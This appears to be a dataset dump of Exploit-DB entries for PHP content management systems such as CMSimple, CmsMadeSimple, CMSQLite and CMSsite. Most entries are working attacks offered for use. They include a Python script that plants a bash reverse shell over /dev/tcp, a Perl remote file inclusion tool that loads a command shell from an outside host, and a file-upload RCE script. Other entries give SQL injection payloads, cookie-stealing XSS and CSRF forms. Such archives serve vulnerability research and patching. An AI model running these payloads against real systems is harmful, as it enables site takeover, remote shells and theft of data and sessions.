deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32930
Description: CMSimple 4.4/4.4.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2014-04-18
Author: NoGe

Exploit:
=============================================================================================================


  [o] CMSimple - Open Source CMS with no database <= Remote File Inclusion Vulnerability

       Software : CMSimple - Open Source CMS with no database
       Version  : 4.4, 4.4.2 and below
       Vendor   : http://www.cmsimple.org
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com
       Desc     : CMSimple is a php based Content Managemant System (CMS), which requires no database. 
                  All data are stored in a simple file system.


=============================================================================================================


  [o] Vulnerable File

       plugins/filebrowser/classes/required_classes.php

        require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php';
        require_once $pth['folder']['plugin'] . 'classes/filebrowser.php';


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=[RFI]


=============================================================================================================


  [o] PoC

       http://target.com/[path]/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt?


=============================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{


=============================================================================================================


  [o] April 17 2014 - Papua, Indonesia - Met Paskah! Tuhan berkati.. :)
Exploit-DB #52040
Description: CMSimple 5.15 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2024-06-03
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: CMSimple 5.15 - Remote Command Execution
# Date: 04/28/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.cmsimple.org
# Software Link: https://www.cmsimple.org/downloads_cmsimple50/CMSimple_5-15.zip
# Version: latest
# Tested on: MacOS

# Log in to SimpleCMS.
# Go to Settings > CMS
# Append ",php" to the end of the Extensions_userfiles field and save it.
# Navigate to Files > Media
# Select and upload shell.php
# Your shell is ready: https://{url}/userfiles/media/shell.php
Exploit-DB #49751
Description: CMSimple 5.2 - 'External' Stored XSS
Type: webapps
Platform: php
Date: 2021-04-08
Author: Quadron Research Lab

Exploit:
# Exploit Title: CMSimple 5.2 - 'External' Stored XSS
# Date: 2021/04/07
# Exploit Author: Quadron Research Lab
# Version: CMSimple 5.2
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.cmsimple.org/en/

[Description]
The CMSimple 5.2 allow stored XSS via the Settings > CMS > Filebrowser > "External:" input field.

[Attack Vectors]
The CMSimple cms "Filebrowser" "External:" input field not filter special chars. It is possible to place JavaScript code. 
The JavaScript code placed here is executed by clicking on the Page or Files tab.

[Proof of Concept]
https://github.com/Quadron-Research-Lab/CVE/blob/main/CMSimple_5.2_XSS.pdf
Exploit-DB #50612
Description: CMSimple 5.4 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-01-05
Author: heinjame

Exploit:
# Exploit Title: CMSimple 5.4 - Cross Site Scripting (XSS)
# Date: 22/10/2021
# Exploit Author: heinjame
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/?Downloads
# Version: <=5.4
# Tested on: Linux os

[Description]

Since the application is filtering user input with preg_replace, attackers can able to bypass restriction by using HTML to Unicode encoding.

So the application let's attacker perform DOM based XSS.

[Payload and POC]

File > images > Upload a file

Attack vector >> ')-alert(1)// (need to encode)>>
&#39;&#41;&#45;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#47;&#47;

When the victim clicks the delete button,an alert will be executed.

Script to encode the payload

payload = input()
finalpayload = ""
for i in payload:
	finalpayload = finalpayload + "&#" + str(ord(i)) + ";"
print(finalpayload)
Exploit-DB #50356
Description: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-09-30
Author: pussycat0x

Exploit:
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 29.09.2021
# Exploit Author: pussycat0x
# Vendor Homepage: https://www.cmsimple.org/
# Version: 5.4
# Tested on: ubuntu-20.04.1

import argparse
from bs4 import BeautifulSoup
from argparse import ArgumentParser
import requests
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
rparser = parser.add_argument_group('required argument')
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
rparser.add_argument('-p','--password',type=str,help='', required=True)
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
args= parser.parse_args()
#url ='192.168.1.106'
s = requests.Session()

def main():
	try:
		
		url =(args.host)
		payload = {
		'user':args.username,
		'passwd':args.password,
		'submit': 'Login',
		'login':'true',
		}
		login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
		if login.status_code == 200:
			print('Exploit Completed')
		else:
			print("Invalid Credential")
		cook =(login.cookies.get_dict())
		temp = s.get(url +'/?file=template&action=edit', cookies=cook)
		soup = BeautifulSoup(temp.text, 'lxml')
		csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
		#<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");		
		rev = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"""
		rev2=(args.lhost)
		rev3=(args.lport)
		rev4=""" 0>&1'");"""
		php =(rev+rev2+'/'+rev3+rev4)
		revpayload = {
		'cmsimpleDataFileStored':'cmsimpleDataFileStored',
		'csrf_token':csrfToken,
		'text':php,
		'file':'template',
		'action':'save',
		}
		shell = s.post(url +'/',cookies=cook , data=revpayload)
		exec = s.get(url+'/')
		exit()
	except:
		pass
main()
Exploit-DB #43075
Description: CmsLite 1.4 - 'S' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Creative Management System - CMS Lite 1.4 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://bekirk.co.uk/
# Software Link: https://codecanyon.net/item/creative-management-system-cms-lite/15297597
# Demo: http://demo.bekirk.co.uk/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?S=[SQL]
# 
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x3a,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))),0)--+-
# 
# Parameter: S (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: S=BeDark' AND 7998=7998 AND 'QNRN'='QNRN
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: S=BeDark' AND SLEEP(5) AND 'DmYc'='DmYc
# 	
# Etc..
# # # # #
Exploit-DB #51600
Description: CmsMadeSimple v2.2.17 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-07-19
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) 
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  Remote Code Execution(RCE) 
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 


import requests

login_url = 'http://localhost/admin/login.php'
username=input('username = ') 
password=input('password = ') 


upload_url = 'http://localhost/admin/moduleinterface.php'

file_path = input("please phar file name but file must same directory with python file and file content : <?php echo system('cat /etc/passwd') ?>  : ")
#phar file content """"<?php echo system('cat /etc/passwd') ?>"""""

login_data = {
    'username': username,
    'password': password,
    'loginsubmit': 'Submit'
}


session = requests.Session()
response = session.post(login_url, data=login_data)


if response.status_code == 200:
    print('Login account')
else:
    print('Login promlem.')
    exit()


files = {
    'm1_files[]': open(file_path, 'rb')
}

data = {
    'mact': 'FileManager,m1_,upload,0',
    '__c': session.cookies['__c'],
    'disable_buffer': '1'
}


response = session.post(upload_url, files=files, data=data)


if response.status_code == 200:
    print('file upload')
    rce_url=f"http://localhost/uploads/{file_path}"
    rce=requests.get(rce_url)
    print(rce.text)
else:
    print('file not upload')
Exploit-DB #51601
Description: CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-19
Author: Mirabbas Ağalarov

Exploit:
#Exploit Title: CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS)
#Application: CmsMadeSimple
#Version: v2.2.17
#Bugs:  Stored Xss
#Technology: PHP
#Vendor URL: https://www.cmsmadesimple.org/
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms
#Date of found: 12-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 
1. Login to account
2. Go to Content Manager
3. Add New Content
4. Type as '<img src=x onerror=alert(document.cookie)>' to metadata section

payload: <img src=x onerror=alert(document.cookie)>

5. Submit Content
6. Visit Content (http://localhost/index.php?page=test)

Request:

POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=5c64b42fb42c1d6bba6&showtemplate=false HTTP/1.1
Host: localhost
Content-Length: 584
sec-ch-ua: 
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMSSESSID852a6e69ca02=g13p5ucajc0v5tker6ifdcaso5; 34a3083b62a225efa0bc6b5b43335d226264c2c1=24f612918e7b1c1e085bed5cab82f2a786f45d5c%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkLndYMkFFZnc4WTJlcWhhQVJ2LndZT1FVY09hTzMzeVlNYzVDU1V5NnFRQkxkeXJZNUozSTYifQ%3D%3D; __c=5c64b42fb42c1d6bba6
Connection: close

mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=5c64b42fb42c1d6bba6&m1_content_id=0&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3Etest%3C%2Fp%3E&menutext=&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E&pagedata=&design_id=2&template_id=10&alias=&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&additional_editors=&m1_ajax=1&m1_apply=1
Exploit-DB #2766
Description: CMSmelborp Beta - 'user_standard.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-12
Author: DeltahackingTEAM

Exploit:
#!/usr/bin/perl
##
# Portal Name : CMSmelborp(user_standard.php) Remote File Inclusion Exploit
# Bug Found DeltahackingSecurityTEAM Code :Dr.Trojan&Dr.Pantagon
##
# Download =http://superb-west.dl.sourceforge.net/sourceforge/cmsmelborp/CMSmelborp.zip
#
##
# usage:
# perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>
#
# perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Str0ke
#
# Contact:dr.trojan@deltahacking.net
##
# Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic)
# exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?&
##

use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/user_standard.php?relative_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[.......]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)

{
       $finreturn = $1;
       $finreturn=~ tr/[.......]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print "\n============================================================================\r\n";
 print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=99/99%*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to CMSmelborp ex: http://[target]/[path]/includes \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found DeltahackingSecurityTEAM \r\n";
 print "                             Iranian Are The Best In World \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-11-12]
Exploit-DB #9311
Description: cmsphp 0.21 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-30
Author: SirGod

Exploit:
###################################################################################################
[+] CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###################################################################################################

[+] Download : http://sourceforge.net/projects/cmsphp/

[+] Local File Inclusion

 - PoC

    http://127.0.0.1/path/modules.php?name=Your_account&mod_file=../../../../../../boot.ini%00

[+] Cross-Site Scripting

 - PoC's

    http://127.0.0.1/path/index.php?cook_user=<script>alert(document.cookie)</script>

    http://127.0.0.1/path/modules.php?name=<script>alert(document.cookie)</script>

###################################################################################################

# milw0rm.com [2009-07-30]
Exploit-DB #17592
Description: CMSPro! 2.08 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-08-01
Author: Xadpritox

Exploit:
CMSPro! 2.08 CSRF Vulnerability
# Title : CMSPro! 2.08  Cross Site Request Forgery (CSRF) Vulnerability
# Software : CMSPro!
# Version :  2.08
# Site : http://www.wojoscripts.com/cmspro/ or
http://codecanyon.net/item/cms-pro-lightweight-content-management-system/140078
# Author : Xadpritox
# Email : xadpritox@whitehatmail.com
# site : http://hacker-cisadane.org
# Type : Cross Site Request Forgery (CSRF) Vulnerability


VULNERABILITY DESCRIPTION
CMSPro! 2.08 versions contain a flaw that allows a remote Cross-site Request
Forgery (CSRF) attack. The flaw exists because the application does not
require multiple steps or explicit confirmation for sensitive transactions
for majority of administrator functions such as delete , assigning user to
administrative privilege. By using a crafted URL, an attacker may trick the
victim into visiting to his web page to take advantage of the trust
relationship between the authenticated victim and the application. Such an
attack could trick the victim into executing arbitrary commands in the
context of their session with the application, without further prompting or
verification.


VERSIONS AFFECTED
CMSPro! 2.08


PROOF-OF-CONCEPT/EXPLOIT
The following request escalates a normal user to an administrator.

POST /cmspro/admin/controller.php [CREDENTIAL_REDACTED]=xadpritox%
40whitehatmail.com
&fname=Xadpritox&lname=Xadpritox&membership_id=4&userlevel=9&access%5B%5D=Menus&access%5B%5D=Pages&access%5B%5D=Posts&access%5B%5D=Modules&access%5B%5D=Rss&access%5B%5D=Layout&access%5B%5D=Configuration&active=y&newsletter=0&submit=Update+User&username=Xadpritox&userid=5&processUser=1
Exploit-DB #14362
Description: CMSQLite - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-14
Author: High-Tech Bridge SA

Exploit:
# Vulnerability ID: HTB22462
# Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_cmsqlite_1.html
# Product: CMSQLite
# Vendor: CMSQLite-Team

# Vulnerable Version: 1.3 and Probably Prior Versions 
# Vendor Notification: 29
# June 2010 Vulnerability Type: SQL Injection

# Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low

# Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)


Vulnerability Details:

The vulnerability exists due to failure in the "/admin/helper/deleteArticle.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


Attacker can use browser to exploit this vulnerability. The following PoC is
available:

<form action="http://host/admin/helper/deleteArticle.php" method="post"
name="main" >

      <input type="hidden" name="id" value="1'some sql" /> </form> <script>
document.main.submit(); </script>
Exploit-DB #14096
Description: CMSQLite / CMySQLite 1.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-06-28
Author: ADEO Security

Exploit:
# Title: CMSQlite & CMySQLite CSRF Vulnerability
# Author: ADEO Security
# Published: 28/06/2010
# Version: v1.3 >=
# Vendor: http://www.cmsqlite.net

# Description: "CMSQLite is a small, fast, flexible and complete Content-Management-System (CMS). 
# It's perfect for freelancers, self-employeds, clubs and associations and small companies. 
# CMSQLite is a CMS, basing on PHP and SQLite. That has many advantages!"

# Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs (security@adeo.com.tr)

# Vulnerability: CMSQlite and CMySQLite have CSRF vulnerabilites in the admin panel.
# Attacker can change the password of the admin. For secure your web applications against 
# CSRF vulnerabilities, look at this resources:
* OWASP-TR/WGT anticsurf Project - http://code.google.com/p/anticsurf/
* CSRF Prevention CS -
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

# PoC:
<html>
<body>
<form action="http://server/admin/helper/updateUser.php\" method="POST">
<input type="hidden" name="userId" value="1">
<input type="hidden" name="userUsername" value="admin">
<input type="hidden" name="password1" value="csrfhits">
<input type="hidden" name="password2" value="csrfhits">
</form>

</body>
</html>
Exploit-DB #46259
Description: CMSsite 1.0 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-28
Author: Majid kalantari

Exploit:
# Exploit Title: CMSsite 1.0 - SQL injection
# Exploit Author : Majid kalantari (mjd.hack@gmail.com)
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
===============================================

# vulnerable file: category.php
# vulnerable parameter : cat_id

if (isset($_GET['cat_id'])) {
    $category = $_GET['cat_id'];
}
$query = "SELECT * FROM posts WHERE post_category_id=$category";
$run_query = mysqli_query($con, $query);

# payload : http://127.0.0.1/cm/category.phpcat_id=7 UNION SELECT
1,2,user(),3,4,5,6,7,8,9,10%23

===============================================
Exploit-DB #46402
Description: CMSsite 1.0 - 'post' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-18
Author: Mr Winst0n

Exploit:
# Exploit Title: CMSsite 1.0 - 'post' SQL Injection

# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 17, 2019
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Tested Version: 1.0
# Tested on: Kali linux, Windows 8.1 


# PoC:
# Vulnerable File: post.php
# Vulnerable Parameter : post

if (isset($_GET['post'])) {
	$post = $_GET['post'];
}
$query = "SELECT * FROM posts WHERE post_id=$post";
$run_query = mysqli_query($con, $query);



# Payload: http://localhost/CMSsite/post.php?post=1%20and%20(sleep(10))
Exploit-DB #46260
Description: CMSsite 1.0 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-28
Author: Majid kalantari

Exploit:
# Exploit Title: CMSsite 1.0 - 'search' SQL injection
# Exploit Author : Majid kalantari (mjd.hack@gmail.com)
# Date: 2019-01-27
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip
# Version: 1.0
# Tested on: Windows 10
# CVE: N/A
===============================================

# vulnerable file: search.php
# vulnerable parameter : POST - search

if (isset($_POST['submit'])) {
    $search = $_POST["search"];
}
$query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%' AND
post_status='publish'";
$search_query = mysqli_query($con, $query);

# payload on search text box: ' and
extractvalue(1,concat(':',database(),':'))#

===============================================